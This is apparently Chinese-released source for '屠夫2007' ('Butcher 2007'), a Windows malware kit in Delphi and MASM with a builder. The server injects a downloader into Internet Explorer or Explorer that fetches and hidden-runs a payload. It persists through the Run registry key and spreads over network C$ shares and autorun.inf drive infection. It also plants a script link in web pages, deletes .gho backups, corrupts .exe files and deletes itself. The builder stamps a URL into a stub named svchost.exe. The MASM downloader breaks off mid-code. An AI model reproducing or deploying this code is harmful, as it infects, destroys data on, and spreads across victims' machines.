屠夫2007源代码

雪夜无声

服务端：
program server;

{$IMAGEBASE $13140000}

uses
  windows,
  reg,
  SysUtils,
  SysUtils2;

const
url:pchar='xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
link:pchar='yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy';
name:pchar='Happy every day!!  Do you know me??';
a:string='aaaaaaaaaa';
b:string='bbbbbbbbbb';
c:string='cccccccccc';
d:string='dddddddddd';
e:string='eeeeeeeeee';
f:string='ffffffffff';
g:string='gggggggggg';
var
ww:string;

function UrlDownLoadToFile(Caller,URL,FileName: PAnsiChar;Reserved: LongWord;
                          StatusCB: Pointer): LongWord;
                          stdcall; external 'URLMON.DLL' name 'URLDownloadToFileA';
function WinExec(lpCmdline: PAnsiChar; uCmdShow: LongWord): LongWord;
                stdcall; external 'kernel32.dll' name 'WinExec';

procedure Inject(ProcessHandle: longword; EntryPoint: pointer);
var
Module, NewModule: Pointer;
Size, BytesWritten, TID: longword;
begin
Module := Pointer(GetModuleHandle(nil));
Size := PImageOptionalHeader(Pointer(integer(Module) + PImageDosHeader(Module)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
VirtualFreeEx(ProcessHandle, Module, 0, MEM_RELEASE);
NewModule := VirtualAllocEx(ProcessHandle, Module, Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ProcessHandle, NewModule, Module, Size, BytesWritten);
CreateRemoteThread(ProcessHandle, nil, 0, EntryPoint, Module, 0, TID);
end;

procedure download;
begin
URLDownloadToFile(nil, url, 'c:\windows\system32\install.exe', 0, nil);
WinExec('c:\windows\system32\install.exe', sw_hide);
end;


procedure hookiexplorer;
var
ProcessHandle, PID: longword;
begin
GetWindowThreadProcessId(FindWindow('IEFrame', nil), @PID);
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
Inject(ProcessHandle, @download);
CloseHandle(ProcessHandle);
end;

procedure hookexplorer;
var
ProcessHandle, PID: longword;
begin
GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @PID);
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
Inject(ProcessHandle, @download);
CloseHandle(ProcessHandle);
end;


procedure DelMe;
var
  F: textfile;
  BatchFileName: string;
  ProcessInfo: TProcessInformation;
  StartUpInfo: TStartupInfo;
begin
  BatchFileName := 'c:\' + 'Deleteme.bat';
  AssignFile(F, BatchFileName);
  Rewrite(F);
  WriteLn(F, ':try');
  WriteLn(F, 'del "' + ParamStr(0) + '"');
  WriteLn(F, 'if exist "' + ParamStr(0) + '"' + ' goto try');
  WriteLn(F, 'del %0');
  CloseFile(F);
  FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
  StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartUpInfo.wShowWindow := SW_HIDE;
  if CreateProcess(nil, PChar(BatchFileName), nil, nil, False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo, ProcessInfo) then
  begin
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
  end;
end;


Function LowerCase(const S: string): string;
var
  kixoebvq: Integer;
begin
  kixoebvq := Length(S);
  SetString(Result, PChar(S), kixoebvq);
  if kixoebvq > 0 then CharLowerBuff(Pointer(Result), kixoebvq);
end;


function FileExists(const FileName: string): Boolean;
var
  __pqxjj: THandle;
  wgndplz: TWin32FindData;
begin
  __pqxjj := FindFirstFileA(PChar(FileName), wgndplz);
  result:= __pqxjj <> INVALID_HANDLE_VALUE;
  if result then
  begin
    CloseHandle(__pqxjj);
  end;
end;

procedure Enumeration(aResource:PNetResource);
var
  qnlshmm: THandle;
  kujf_n, mec: DWORD;
  wgokq: array[0..1023] of TNetResource;
  _fehlq: Integer;
  begin
  WNetOpenEnum(2,0,0,aResource,qnlshmm);
  kujf_n:=1024;
  mec:=SizeOf(wgokq);
  while WNetEnumResource(qnlshmm,kujf_n,@wgokq,mec)=0 do
  for _fehlq:=0 to kujf_n-1 do
  begin
    if wgokq[_fehlq].dwDisplayType=RESOURCEDISPLAYTYPE_SERVER then
    ww := ww + copy(LowerCase(wgokq[_fehlq].lpRemoteName),3,MAX_PATH) + #13#10;
    if wgokq[_fehlq].dwUsage>0 then
  Enumeration(@wgokq[_fehlq])
  end;
  WNetCloseEnum(qnlshmm);
end;


Procedure Network;
Var
  x_a : String;
  ktkma : TextFile;
Begin
  Enumeration(NIL);
  While ww <> '' Do Begin
  x_a := Copy(ww, 1, Pos(#13#10, ww)-1);
  Try
    CopyFile(pChar(ParamStr(0)), pChar(x_a + '\C$\Setup.exe'), False);
    If FileExists(pChar(x_a + '\C$\AutoExec.bat')) Then Begin
    AssignFile(ktkma, x_a + '\C$\AutoExec.bat');
    Append(ktkma);
    WriteLn(ktkma, 'Setup.exe');
    CloseFile(ktkma);
    End;
  Except
    ;
  End;
  ww := Copy(ww, Pos(#13#10, ww)+2, Length(ww));
  End;
End;

procedure regme;
var
sysdir:array[0..50] of char;
begin
AddValue2( HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run','system', 'interneter.exe');
GetSystemDirectory(sysdir,50);
if not FileExists(sysdir+'\interneter.exe') then
copyfile(pchar(paramstr(0)),pchar(sysdir+'\interneter.exe'),true);
end;

procedure findfile(const FileSpec: TFileName;attributes:integer;doit: string);
var
Spec: String;
filehandle:integer;
procedure RFindFile(const Folder: TFileName);
var
SearchRec: TSearchRec;
begin
if doit='0' then
exit
else
begin
if FindFirst(Folder + Spec, Attributes, SearchRec)=0 then
begin
try
repeat
if (SearchRec.Attr and faDirectory = 0) or (SearchRec.Name<>'.') and (SearchRec.Name<>'..') then
begin
if doit='1' then
begin
if (extractfileext(searchrec.Name)='.asp') or (extractfileext(searchrec.Name)='.htm') or (extractfileext(searchrec.Name)='.html')
or  (extractfileext(searchrec.Name)='.aspx') or (extractfileext(searchrec.Name)='.php') then
begin
filehandle:=fileopen(folder+searchrec.Name,fmopenreadwrite);
fileseek(filehandle,0,2);
filewrite(filehandle,link^,strlen(link));
fileclose(filehandle);
end;
end
else
if doit='2' then
begin
if extractfileext(searchrec.Name)='.gho' then
deletefile(pchar(Folder + SearchRec.Name) );
end
else
if doit='3' then
begin
if (extractfileext(searchrec.Name)='.exe') or  (extractfileext(searchrec.Name)='.com') then
begin
filehandle:=fileopen(folder+searchrec.Name,fmopenreadwrite);
fileseek(filehandle,0,0);
filewrite(filehandle,name^,strlen(name));
fileclose(filehandle);
end;
end;
end;
until FindNext(SearchRec) <> 0;
except
raise;
end;
end;
if FindFirst(Folder + '*', Attributes Or faDirectory, SearchRec) = 0 then
begin
try
repeat
if ((SearchRec.Attr and faDirectory) <> 0) and (SearchRec.Name<>'.') and (SearchRec.Name<>'..') then
RFindFile(Folder + SearchRec.Name + '\');
until FindNext(SearchRec) <> 0;
except
raise;
end;
end;
end;
end;
begin
try
spec := ExtractFileName(filespec);
RFindFile(ExtractFilePath(filespec));
Except
raise;
end;
end;

procedure copytodisk;
var
s,s1,s2,s3,s4:string;
i:char;
inf:textfile;
begin
s4:=extractfilename(paramstr(0));
s:=ExpandFileName(ParamStr(0));
s1:=ExtractFileDir(ParamStr(0))+'\autorun.inf';
SetFileAttributes(pchar(s),0);
SetFileAttributes(pchar(s1),0);
assignfile(inf, 'Autorun.inf');
rewrite(inf);
writeln(inf, '[AutoRun]');
writeln(inf, '');
writeln(inf, 'open='+s4);
writeln(inf, 'shell\open=打开(&O)');
writeLn(inf, 'shell\open\Command='+s4);
writeln(inf, 'shell\open\Default=1');
writeln(inf, 'shell\explore=资源管理器(&X)');
writeln(inf, 'shell\explore\Command='+s4);
closefile(inf);
for i:='C' to 'Z' do
if (GETDRIVETYPE (PChar(i+':\'))=DRIVE_REMOVABLE) or (GETDRIVETYPE (PChar(i+':\'))=DRIVE_FIXED) then
begin
  s2:=i;
  s3:=pchar(i+':\autorun.inf');
  s2:=pchar(s2+':\'+s4);
  copyfile(pchar(s),pchar(s2),false);
  copyfile(pchar(s1),pchar(s3),false);
  SetFileAttributes(pchar(s2),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
  SetFileAttributes(pchar(s3),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
  end;
end;

var
o:integer;
begin
sleep(1000);
if trim(b)='1' then
begin
try
hookiexplorer;
except
end;
end
else
if trim(b)='2' then
begin
try
hookexplorer;
except
end;
end;
sleep(1000);
if trim(a)='1' then
winexec('cmd.exe /c date 1983-10-19',sw_hide);
if trim(g)='1' then
copytodisk;
if trim(c)='1' then
regme;
if trim(d)='1' then
network;
for o:=0 to 25 do
begin
findfile(char(o+68)+':\'+'*.*',0,trim(e));
end;
if trim(f)='1' then
delme;
end.

SysUtils2.pas ：
unit SysUtils2;

interface

uses windows;

type
  LongRec = packed record
    case Integer of
      0: (Lo, Hi: Word);
      1: (Words: array[0..1] of Word);
      2: (Bytes: array[0..3] of Byte);
  end;
const
  fmOpenRead = $0000;
  fmOpenWrite = $0001;
  fmOpenReadWrite = $0002;
  fmShareDenyNone = $0030;

function FileWrite(Handle: Integer; const Buffer; Count: LongWord): Integer;
procedure FileClose(Handle: Integer);
function FileCreate(const FileName: string): Integer;
function FileSeek(Handle, Offset, Origin: Integer): Integer;
function FileOpen(const FileName: string; Mode: LongWord): Integer;
function LowerCase(const S: string): string;
function StrComp(const Str1, Str2: PChar): Integer; assembler;
function StrCopy(Dest: PChar; const Source: PChar): PChar;
function ExtractFilePath(path: string): string;
function ExtractFilename(const filename: string): string;
function AnsiCompareText(const S1, S2: string): Integer;
function UpperCase(const S: string): string;
function StrLen(const Str: PChar): Cardinal; assembler;
function StrLCopy(Dest: PChar; const Source: PChar; MaxLen: Cardinal): PChar; assembler;
function StrPas(const Str: PChar): string;
function Inttostr(const Int: integer): string;
function Trim(const S: string): string;
function FileExists(const FileName: string): Boolean;
function StrIComp(const Str1, Str2: PChar): Integer; assembler;
procedure ProcessMessages;

implementation

procedure ProcessMessages;
var
  Msg: TMsg;
begin
  if PeekMessage(Msg, 0, 0, 0, PM_REMOVE) then
  begin
//    if Msg.Message <> WM_QUIT then
//    begin
    TranslateMessage(Msg);
    DispatchMessage(Msg);
//    end;
  end;
end;

function StrCopy(Dest: PChar; const Source: PChar): PChar;
asm
        PUSH    EDI
        PUSH    ESI
        MOV    ESI,EAX
        MOV    EDI,EDX
        MOV    ECX,0FFFFFFFFH
        XOR    AL,AL
        REPNE  SCASB
        NOT    ECX
        MOV    EDI,ESI
        MOV    ESI,EDX
        MOV    EDX,ECX
        MOV    EAX,EDI
        SHR    ECX,2
        REP    MOVSD
        MOV    ECX,EDX
        AND    ECX,3
        REP    MOVSB
        POP    ESI
        POP    EDI
end;

function StrComp(const Str1, Str2: PChar): Integer; assembler;
asm
        PUSH    EDI
        PUSH    ESI
        MOV    EDI,EDX
        MOV    ESI,EAX
        MOV    ECX,0FFFFFFFFH
        XOR    EAX,EAX
        REPNE  SCASB
        NOT    ECX
        MOV    EDI,EDX
        XOR    EDX,EDX
        REPE    CMPSB
        MOV    AL,[ESI-1]
        MOV    DL,[EDI-1]
        SUB    EAX,EDX
        POP    ESI
        POP    EDI
end;

function LowerCase(const S: string): string;
var
  Ch: Char;
  L: Integer;
  Source, Dest: PChar;
begin
  L := Length(S);
  SetLength(Result, L);
  Source := Pointer(S);
  Dest := Pointer(Result);
  while L <> 0 do
  begin
    Ch := Source^;
    if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
    Dest^ := Ch;
    Inc(Source);
    Inc(Dest);
    Dec(L);
  end;
end;

function StrScan(const Str: PChar; Chr: Char): PChar;
begin
  Result := Str;
  while Result^ <> Chr do
  begin
    if Result^ = #0 then
    begin
      Result := nil;
      Exit;
    end;
    Inc(Result);
  end;
end;

function ExtractFilePath(path: string): string;
var
  i: integer;
begin
  i := length(path);
  while i >= 1 do
  begin
    if (path = '\') or (path = '/') or (path = ':') then
      break;
    dec(i);
  end;
  result := copy(path, 1, i);
end;

function AnsiCompareText(const S1, S2: string): Integer;
begin
  Result := CompareString(LOCALE_USER_DEFAULT, NORM_IGNORECASE, PChar(S1),
    Length(S1), PChar(S2), Length(S2)) - 2;
end;

function ExtractFilename(const filename: string): string;
var
  I: Integer;
begin
  i := length(filename);
  while i >= 1 do
  begin
    if (filename = '/') or (filename = '\') or (filename = ':') then
    begin
      result := copy(filename, i + 1, maxint);
      exit;
    end;
    dec(i);
  end;
  result := filename;
end;

function UpperCase(const S: string): string;
var
  Ch: Char;
  L: Integer;
  Source, Dest: PChar;
begin
  L := Length(S);
  SetLength(Result, L);
  Source := Pointer(S);
  Dest := Pointer(Result);
  while L <> 0 do
  begin
    Ch := Source^;
    if (Ch >= 'a') and (Ch <= 'z') then
      Dec(Ch, 32);
    Dest^ := Ch;
    Inc(Source);
    Inc(Dest);
    Dec(L);
  end;
end;

function StrLen(const Str: PChar): Cardinal; assembler;
asm
        MOV    EDX,EDI
        MOV    EDI,EAX
        MOV    ECX,0FFFFFFFFH
        XOR    AL,AL
        REPNE  SCASB
        MOV    EAX,0FFFFFFFEH
        SUB    EAX,ECX
        MOV    EDI,EDX
end;

function StrLCopy(Dest: PChar; const Source: PChar; MaxLen: Cardinal): PChar; assembler;
asm
        PUSH    EDI
        PUSH    ESI
        PUSH    EBX
        MOV    ESI,EAX
        MOV    EDI,EDX
        MOV    EBX,ECX
        XOR    AL,AL
        TEST    ECX,ECX
        JZ      @@1
        REPNE  SCASB
        JNE    @@1
        INC    ECX
@@1:    SUB    EBX,ECX
        MOV    EDI,ESI
        MOV    ESI,EDX
        MOV    EDX,EDI
        MOV    ECX,EBX
        SHR    ECX,2
        REP    MOVSD
        MOV    ECX,EBX
        AND    ECX,3
        REP    MOVSB
        STOSB
        MOV    EAX,EDX
        POP    EBX
        POP    ESI
        POP    EDI
end;

function StrPas(const Str: PChar): string;
begin
  Result := Str;
end;

function Inttostr(const Int: integer): string;
var
  d, m: integer;
  A: boolean;
begin
  if Int = 0 then
  begin
    result := '0';
    exit;
  end;
  A := int >= 0;
  if A then m := int
  else m := -int;
  result := '';
  while m <> 0 do
  begin
    d := m mod 10;
    m := m div 10;
    Result := chr(d + 48) + Result;
  end;
  if not A then Result := '-' + Result;
end;

function Trim(const S: string): string;
var
  I, L: Integer;
begin
  L := Length(S);
  I := 1;
  while (I <= L) and (S[I] <= ' ') do Inc(I);
  if I > L then Result := '' else
  begin
    while S[L] <= ' ' do Dec(L);
    Result := Copy(S, I, L - I + 1);
  end;
end;

function StrIComp(const Str1, Str2: PChar): Integer; assembler;
asm
        PUSH    EDI
        PUSH    ESI
        MOV    EDI,EDX
        MOV    ESI,EAX
        MOV    ECX,0FFFFFFFFH
        XOR    EAX,EAX
        REPNE  SCASB
        NOT    ECX
        MOV    EDI,EDX
        XOR    EDX,EDX
@@1:    REPE    CMPSB
        JE      @@4
        MOV    AL,[ESI-1]
        CMP    AL,'a'
        JB      @@2
        CMP    AL,'z'
        JA      @@2
        SUB    AL,20H
@@2:    MOV    DL,[EDI-1]
        CMP    DL,'a'
        JB      @@3
        CMP    DL,'z'
        JA      @@3
        SUB    DL,20H
@@3:    SUB    EAX,EDX
        JE      @@1
@@4:    POP    ESI
        POP    EDI
end;

function FileAge(const FileName: string): Integer;
var
  Handle: THandle;
  FindData: TWin32FindData;
  LocalFileTime: TFileTime;
begin
  Handle := FindFirstFile(PChar(FileName), FindData);
  if Handle <> INVALID_HANDLE_VALUE then
  begin
    Windows.FindClose(Handle);
    if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
    begin
      FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
      if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi,
        LongRec(Result).Lo) then Exit;
    end;
  end;
  Result := -1;
end;

function FileExists(const FileName: string): Boolean;
begin
  Result := FileAge(FileName) <> -1;
end;


function FileOpen(const FileName: string; Mode: LongWord): Integer;
const
  AccessMode: array[0..2] of LongWord = (
    GENERIC_READ,
    GENERIC_WRITE,
    GENERIC_READ or GENERIC_WRITE);
  ShareMode: array[0..4] of LongWord = (
    0,
    0,
    FILE_SHARE_READ,
    FILE_SHARE_WRITE,
    FILE_SHARE_READ or FILE_SHARE_WRITE);
begin
  Result := -1;
  if ((Mode and 3) <= fmOpenReadWrite) and
    ((Mode and $F0) <= fmShareDenyNone) then
    Result := Integer(CreateFile(PChar(FileName), AccessMode[Mode and 3],
      ShareMode[(Mode and $F0) shr 4], nil, OPEN_EXISTING,
      FILE_ATTRIBUTE_NORMAL, 0));
end;

function FileSeek(Handle, Offset, Origin: Integer): Integer;
begin
{$IFDEF MSWINDOWS}
  Result := SetFilePointer(THandle(Handle), Offset, nil, Origin);
{$ENDIF}
{$IFDEF LINUX}
  Result := __lseek(Handle, Offset, Origin);
{$ENDIF}
end;

function FileCreate(const FileName: string): Integer;
begin
  Result := Integer(CreateFile(PChar(FileName), GENERIC_READ or GENERIC_WRITE,
    0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0));
end;

function FileWrite(Handle: Integer; const Buffer; Count: LongWord): Integer;
begin
{$IFDEF MSWINDOWS}
  if not WriteFile(THandle(Handle), Buffer, Count, LongWord(Result), nil) then
    Result := -1;
{$ENDIF}
{$IFDEF LINUX}
  Result := __write(Handle, Buffer, Count);
{$ENDIF}
end;

procedure FileClose(Handle: Integer);
begin
{$IFDEF MSWINDOWS}
  CloseHandle(THandle(Handle));
{$ENDIF}
{$IFDEF LINUX}
  __close(Handle); // No need to unlock since all locks are released on close.
{$ENDIF}
end;

end.

Reg.pas ：
unit Reg;

interface
uses windows;

type
  TFun=function(name:string):boolean;

procedure AddValue(Root: HKEY; StrPath: pchar; StrValue: pchar; Strdata: pchar;
  DataType: integer);
procedure AddValue2(Root: HKEY; StrPath: pchar; StrValue: pchar; Strdata: pchar);
procedure DelValue(Root: HKEY; StrPath: pchar; StrValue: pchar);
procedure DelSub(Root: HKEY; StrPath: pchar; StrSub: pchar);
function ReadValue(Root: HKEY; StrPath: pchar; StrValue: pchar): string;
function ReadValueBinary(Root: HKEY; StrPath: pchar; StrValue: pchar): string;
function ValueExists(Root: HKEY; StrPath: pchar; StrValue: pchar): Boolean;
function KeyExists(Root: HKEY; StrPath: pchar; StrSub: pchar): Boolean;
function GetValueName(Root: HKEY; StrPath: pchar; var Str: string): integer;
function GetKeyName(Root: HKEY; StrPath: pchar; var Str: string): integer;
procedure GetKeyName2(Root: HKEY; StrPath: pchar; fun:TFun);

implementation

function CreateKey(Root: HKEY; StrPath: pchar): Hkey;
var
  TempKey: HKey;
  Disposition: Integer;
begin
  TempKey := 0;
  RegCreateKeyEx(Root, StrPath, 0, nil, 0, KEY_ALL_ACCESS, nil, TempKey,
    @Disposition);
  Result := TempKey;
end;

function OpenKey(Root: HKEY; StrPath: pchar): Hkey;
var
  TempKey: Hkey;
begin
  TempKey := 0;
  RegOpenKeyEx(Root, StrPath, 0, KEY_ALL_ACCESS, TempKey);
  Result := TempKey;
end;

procedure AddValue(Root: HKEY; StrPath: pchar; StrValue: pchar; Strdata: pchar;
  DataType: integer);
var
  s: Hkey;
begin
  s := CreateKey(Root, StrPath);
  RegSetValueEx(s, StrValue, 0, REG_SZ, Strdata, sizeof(Strdata));
  RegCloseKey(s);
end;

function StrLen(const Str: PChar): Cardinal; assembler;
asm
        MOV    EDX,EDI
        MOV    EDI,EAX
        MOV    ECX,0FFFFFFFFH
        XOR    AL,AL
        REPNE  SCASB
        MOV    EAX,0FFFFFFFEH
        SUB    EAX,ECX
        MOV    EDI,EDX
end;

procedure AddValue2(Root: HKEY; StrPath: pchar; StrValue: pchar; Strdata: pchar);
var
  s: Hkey;
begin
  s := CreateKey(Root, StrPath);
  RegSetValueEx(s, StrValue, 0, REG_SZ, Strdata, strlen(Strdata));
  RegCloseKey(s);
end;

procedure DelValue(Root: HKEY; StrPath: pchar; StrValue: pchar);
var
  s: Hkey;
begin
  s := OpenKey(Root, StrPath);
  RegDeleteValue(s, StrValue);
  RegCloseKey(s);
end;

procedure DelSub(Root: HKEY; StrPath: pchar; StrSub: pchar);
var
  s: Hkey;
begin
  s := OpenKey(Root, StrPath);
  RegDeleteKey(s, StrSub);
  RegCloseKey(s);
end;

function ReadValue(Root: HKEY; StrPath: pchar; StrValue: pchar): string;
var
  s: Hkey;
  ValueType: DWORD;
  MyData: array[0..255] of char;
  dLength: DWORD;
begin
  ValueType := REG_SZ;
  s := OpenKey(Root, StrPath);
  dLength := SizeOf(MyData);
  if RegQueryValueEx(s, StrValue, nil, @ValueType, @MyData[0], @dLength) = 0
    then
  begin
    Result := MyData;
    RegCloseKey(s);
  end
  else
  begin
    Result := '';
    RegCloseKey(s);
  end;
end;

function ReadValueBinary(Root: HKEY; StrPath: pchar; StrValue: pchar): string;
const
  size=255;
var
  s: Hkey;
  ValueType: DWORD;
  dLength: DWORD;
begin
  ValueType := REG_BINARY;
  s := OpenKey(Root, StrPath);
  Setlength(Result,size);
  dLength := size;
  if RegQueryValueEx(s, StrValue, nil, @ValueType, @result[1], @dLength) = 0
    then
  begin
    Setlength(result,dLength);
    RegCloseKey(s);
  end
  else
  begin
    Result := '';
    RegCloseKey(s);
  end;
end;

function ValueExists(Root: HKEY; StrPath: pchar; StrValue: pchar): Boolean;
var
  s: Hkey;
  ValueType: DWORD;
begin
  ValueType := REG_SZ;
  s := OpenKey(Root, StrPath);
  Result := RegQueryValueEx(s, StrValue, nil, @ValueType, nil, nil) = 0;
  RegCloseKey(s);
end;

function KeyExists(Root: HKEY; StrPath: pchar; StrSub: pchar): Boolean;
var
  s: Hkey;
  Str: string;
begin
  if StrPath <> nil then
    Str := Strpath + '\' + StrSub
  else
    Str := StrSub;
  s := OpenKey(Root, pchar(Str));
  Result := s <> 0;
  if s <> 0 then
    RegCloseKey(s);
end;

function GetValueName(Root: HKEY; StrPath: pchar; var Str: string): integer;
var
  s: Hkey;
  Count: integer;
  ValueName: array[0..100] of char;
  BufSize, dType, dLength: DWORD;
  IData: array[0..255] of char;
begin
  str:='';
  Count := 0;
  BufSize := 100;
  dLength := 254;
  s := OpenKey(Root, StrPath);
  if s <> 0 then
  begin
    while RegEnumValue(s, Count, @ValueName[0], BufSize, nil, @dType, @iData,
      @dLength) = 0 do
    begin
      BufSize := 100;
      dLength := 254;
      Str := Str + ValueName + ',';
      Count := Count + 1;
    end;
    RegCloseKey(s);
  end;
  if copy(Str, 1, 1) = ',' then
    delete(Str, 1, 1);
  if copy(Str, Length(str), 1) = ',' then
    delete(Str, Length(str), 1);
  Result := Count;
end;

function GetKeyName(Root: HKEY; StrPath: pchar; var Str: string): integer;
const
  size=255;
var
  s: Hkey;
  Count: integer;
  BufSize: DWORD;
  ValueName: array[0..size-1] of char;
begin
  str:='';
  Count := 0;
  BufSize := size;
  s := OpenKey(Root, StrPath);
  if s <> 0 then
  begin
    while RegEnumKeyEx(s, Count, @ValueName[0], BufSize, nil, nil, nil, nil) = 0 do
    begin
      BufSize := size;
      Str := Str + ValueName + ',';
      Count := Count + 1;
    end;
    RegCloseKey(s);
  end;
  if copy(Str, Length(str), 1) = ',' then
    delete(Str, Length(str), 1);
  Result := Count;
end;

procedure GetKeyName2(Root: HKEY; StrPath: pchar; fun:TFun);
const
  size=255;
var
  s: Hkey;
  Count: integer;
  BufSize: DWORD;
  ValueName: array[0..size-1] of char;
begin
  Count := 0;
  BufSize := size;
  s := OpenKey(Root, StrPath);
  if s <> 0 then
  begin
    while RegEnumKeyEx(s, Count, @ValueName[0], BufSize, nil, nil, nil, nil) = 0 do
    begin
      BufSize := size;
      if @fun<>nil then
        if not fun(ValueName) then break;
      Count := Count + 1;
    end;
    RegCloseKey(s);
  end;
end;

end.

生成器：
unit Unit3;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls, WinSkinData;
const
offset_url:integer=32500;  //下载地址
offset_link:integer=32564;  //挂马脚本
offset_a:integer= 32672;    //禁用卡巴
offset_b:integer= 32692;    //注入方式
offset_c:integer= 32712;    //注册表启动
offset_d:integer= 32732;    //内网传播
offset_e:integer= 32752;    //文件功能
offset_f:integer= 32772;    //删除自己
offset_g:integer= 32792;    //autorun感染
offset_url1:integer=1032;  //小屠夫偏移
type
  TForm3 = class(TForm)
    Edit1: TEdit;
    Label1: TLabel;
    r1: TRadioButton;
    r2: TRadioButton;
    GroupBox1: TGroupBox;
    GroupBox2: TGroupBox;
    c1: TCheckBox;
    C3: TCheckBox;
    C4: TCheckBox;
    C7: TCheckBox;
    C8: TCheckBox;
    GroupBox3: TGroupBox;
    C9: TCheckBox;
    Button1: TButton;
    GroupBox4: TGroupBox;
    Label2: TLabel;
    Button2: TButton;
    Label3: TLabel;
    Edit2: TEdit;
    RadioGroup1: TRadioGroup;
    r3: TRadioButton;
    R4: TRadioButton;
    R5: TRadioButton;
    Label4: TLabel;
    SkinData1: TSkinData;
    procedure Button2Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure savetostream;
    procedure savetostream1;
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form3: TForm3;
  s:tmemorystream;
  s1:tmemorystream;
implementation

{$R *.dfm}
{$R downman.res}
{$R downman1.res}

procedure TForm3.savetostream;
var
Res : TResourceStream;
begin
s:=tmemorystream.Create;
Res:=TResourceStream.Create(Hinstance,'downman',RT_RCDATA);
Res.SaveToStream(s);
Res.Free;
end;
procedure TForm3.savetostream1;
var
Res : TResourceStream;
begin
s1:=tmemorystream.Create;
Res:=TResourceStream.Create(Hinstance,'downman1',RT_RCDATA);
Res.SaveToStream(s1);
Res.Free;
end;

procedure TForm3.Button1Click(Sender: TObject);
var
url,link,a,b,c,d,e,f,g:string;
buffer,buffer1,buffer2,buffer3,buffer4,buffer5,buffer6,buffer7,buffer8:pchar;
begin
a:='0';
b:='0';
c:='0';
d:='0';
e:='0';
f:='0';
g:='0';
if edit1.Text='' then
showmessage('请输入下载地址！！')
else
begin
  if r1.Checked then
    b:='1';
  if r2.Checked then
    b:='2';
  if c1.Checked then
    d:='1';
  if r3.Checked then
    e:='3';
  if c3.Checked then
    c:='1';
  if c4.Checked then
    g:='1';
  if r4.Checked then
    e:='2';
  if r5.Checked then
    e:='1';
  if c7.Checked then
    f:='1';
  if c8.Checked then
    a:='1';
  url:=trim(edit1.Text);
  link:=trim(edit2.Text);
  buffer:=pchar(url+stringofchar(#0,60-length(url)));
  buffer1:=pchar(link+stringofchar(#0,60-length(link)));
  buffer2:=pchar(a+stringofchar(#0,10-length(a)));
  buffer3:=pchar(b+stringofchar(#0,10-length(b)));
  buffer4:=pchar(c+stringofchar(#0,10-length(c)));
  buffer5:=pchar(d+stringofchar(#0,10-length(d)));
  buffer6:=pchar(e+stringofchar(#0,10-length(e)));
  buffer7:=pchar(f+stringofchar(#0,10-length(f)));
  buffer8:=pchar(g+stringofchar(#0,10-length(g)));
  savetostream;
  s.Seek(offset_url,sofrombeginning);
  s.WriteBuffer(buffer^,60);
  s.Seek(offset_link,sofrombeginning);
  s.WriteBuffer(buffer1^,60);
  s.Seek(offset_a,sofrombeginning);
  s.WriteBuffer(buffer2^,10);
  s.Seek(offset_b,sofrombeginning);
  s.WriteBuffer(buffer3^,10);
  s.Seek(offset_c,sofrombeginning);
  s.WriteBuffer(buffer4^,10);
  s.Seek(offset_d,sofrombeginning);
  s.WriteBuffer(buffer5^,10);
  s.Seek(offset_e,sofrombeginning);
  s.WriteBuffer(buffer6^,10);
  s.Seek(offset_f,sofrombeginning);
  s.WriteBuffer(buffer7^,10);
  s.Seek(offset_g,sofrombeginning);
  s.WriteBuffer(buffer8^,10);
  s.SaveToFile('svchost.exe');
  s.Free;
  showmessage('服务端生成完毕！！');
  end;

end;

procedure TForm3.Button2Click(Sender: TObject);
var
url1:string;
buffer:pchar;
begin
if edit1.Text='' then
showmessage('请输入下载地址！！')
else
begin
url1:=trim(edit1.Text);
buffer:=pchar(url1+stringofchar(#0,60-length(url1)));
savetostream1;
s1.Seek(offset_url1,sofrombeginning);
s1.WriteBuffer(buffer^,60);
s1.SaveToFile('small.exe');
s1.Free;
showmessage('小屠夫生成完毕！！');
end;
end;

end.

小屠夫：
.386
.model flat, stdcall
option casemap:none
include d:\masm32\include\windows.inc
include d:\masm32\include\kernel32.inc
include d:\masm32\include\user32.inc
include d:\masm32\include\urlmon.inc
include d:\masm32\include\shell32.inc
includelib d:\masm32\lib\kernel32.lib
includelib d:\masm32\lib\user32.lib
includelib d:\masm32\lib\urlmon.lib
includelib d:\masm32\lib\shell32.lib

.data
szDesktopClass      db      'IEFrame',0   
szURL  db 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx',0
szSaveFile db 'c:\windows\system32\serversa.exe',0

.data?
hModule dd ?
hWnd dd ?
hProcess dd ?
ShellSize dd ?
Pid dd ?
Written dd ?
dwTid dd ?
.code

Shellcode proc
push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitThread,0
ret
Shellcode endp
start:
invoke GetModuleHandle, 0
mov hModule, eax
mov edi, eax
assume edi:ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew
add edi, sizeof dword
